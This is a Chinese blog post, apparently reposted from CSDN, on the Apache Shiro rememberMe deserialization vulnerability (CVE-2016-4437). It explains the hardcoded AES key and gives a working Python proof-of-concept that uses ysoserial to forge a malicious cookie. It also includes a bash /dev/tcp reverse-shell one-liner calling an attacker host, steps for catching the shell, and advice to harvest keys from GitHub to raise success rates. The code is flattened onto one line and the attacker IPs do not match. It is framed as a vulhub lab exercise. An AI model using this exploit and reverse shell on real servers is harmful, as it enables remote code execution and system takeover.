Apache Shiro是一个强大且易用的Java安全框架,能够用于身份验证、授权、加密和会话管理。只要rememberMe的AES加密密钥泄露,无论shiro是什么版本都会导致反序列化漏洞。Shiro拥有易于理解的API,您可以快速、轻松地获得任何应用程序——从最小的移动应用程序到最大的网络和企业应用程序。
Apache Shiro框架提供了记住我的功能(RemeberMe),用户登录成功后会生成经过加密并编码的cookie。cookie的key为RemeberMe,cookie的值是经过对相关信息进行序列化,然后使用了aes加密,最后在使用base64编码处理形成的。
在服务端接收cookie值时,按以下步骤解析:
检索RemeberMe cooki的值
Base64解码
使用ACE解密(加密密钥为硬编码)
进行反序列化操作(未作过滤处理)
因为在调用反序列化的时候未进行任何过滤,导致可以触发远程代码执行漏洞。
用户登陆成功后会生成经过加密并编码的cookie,在服务端接收cookie值后,Base64解码-->AES解密-->反序列化。
所以,攻击者只要找到AES的加密密钥,就可以构造一个恶意的对象,对其序列化-->AES加密-->Base64编码,然后将其作为cookie的rememberMe字段发送,Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞。
由于使用了AES加密,要想成功利用漏洞则需要获取AES的加密密钥,而在shiro1.2.4之前版本中使用的是硬编码,AES加密的密钥默认在代码里。其默认密钥的base64编码后的值为 kPH+bIxk5D2deZiIxcaaaA==,这里就可以通过构造恶意的序列化对象进行编码,加密,然后作为cookie加密发送,服务端接收后会解密并触发反序列化漏洞。
目前已经更新了很多版本,但是官方并没有把反序列化漏洞本身解决,而是通过去掉硬编码的密钥,使其每次生成一个密钥来解决该漏洞。但是,目前一些开源系统、教程范例代码都使用固定的编码,也有很多开源项目内部集成了shiro并二次开发,可能会重现低版本shiro的默认固定密钥的风险。例如Guns开源框架内部集成了shiro并进行二次开发,作者自定义密钥并固定,此时用户如果不对密钥进行修改,即使升级shiro版本,也依旧存在固定密钥的风险。这里可以通过搜索引擎和github来收集密钥,提高漏洞检测和利用的成功率。
如果反序列化对象中存在魔法函数,使用unserialize()函数同时也会触发。这样,一旦我们能够控制unserialize()入口,那么就可能引发对象注入漏洞。
在请求包的Cookie中为rememberMe字段赋任意值,返回包中存在set-Cookie:remeberMe=deleteMe
URL中有shiro字样
有时候服务器不会主动返回remeberMe=deleteMe,直接发包即可
我们需要准备一台虚拟机,这台虚拟机里面必须装有docker,这台虚拟机为靶机,然后用docker去拉取vulhub靶场,以vulhub靶场中的CVE-2016-4437漏洞为例,docker安装教程与靶场拉取教程:Vulhub - Docker-Compose file for vulnerability environment
- 可以使用shiro反序列化工具去找key攻击:
- 也可以自己构造poc或者去网上寻找poc,文章末尾会附上工具
先安装python环境,在这个poc脚本涉及了两个第三方库需要自行安装:pip installrequestspip install -ihttps://pypi.douban.com/simplepycryptodome
安装完成后可以使用poc构造恶意payload:
import sysimport uuidimport base64import subprocessfrom Crypto.Cipher import AESdef encode_rememberme(command):popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-BETA-all.jar','JRMPClient', command], stdout=subprocess.PIPE) //这里使用了ysoserial工具包,它**了各种java反序列化payload,主要有CommonsCollections1-5、JRMPClient等模块BS = AES.block_sizepad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) %BS)).encode()key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")iv = uuid.uuid4().bytesencryptor = AES.new(key, AES.MODE_CBC, iv)file_body = pad(popen.stdout.read())base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))return base64_ciphertextif __name__ == '__main__':payload = encode_rememberme(sys.argv[1]) print"rememberMe={0}".format(payload.decode())
目标ip:192.168.23.168
攻击ip:192.168.23.193
bash -i>& /dev/tcp/192.168.99.174/2333 0>&1
因为java环境不支持管道符、输入输出重定向等,因此我们需要提前通过Java Runtime配合 bash 进行编码:
-
此处我们使用JRMPClient模块来构造恶意命令的cookie:
-
在攻击机器监听2333端口:
-
将反弹shell处理后发送到目标机器,这里需要使用CommonsCollections2模块:
-
将上面生成的恶意cookie值替换目标网站抓包后的remeberMe,然后放包:
-
查看攻击机器,已经获取到shell:
链接:https://pan.baidu.com/s/1nCdPc0RarG9YZIVb_a-E9w
提取码:hn6o
文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。
来源地址:https://blog.csdn.net/zhuyi666/article/details/129683259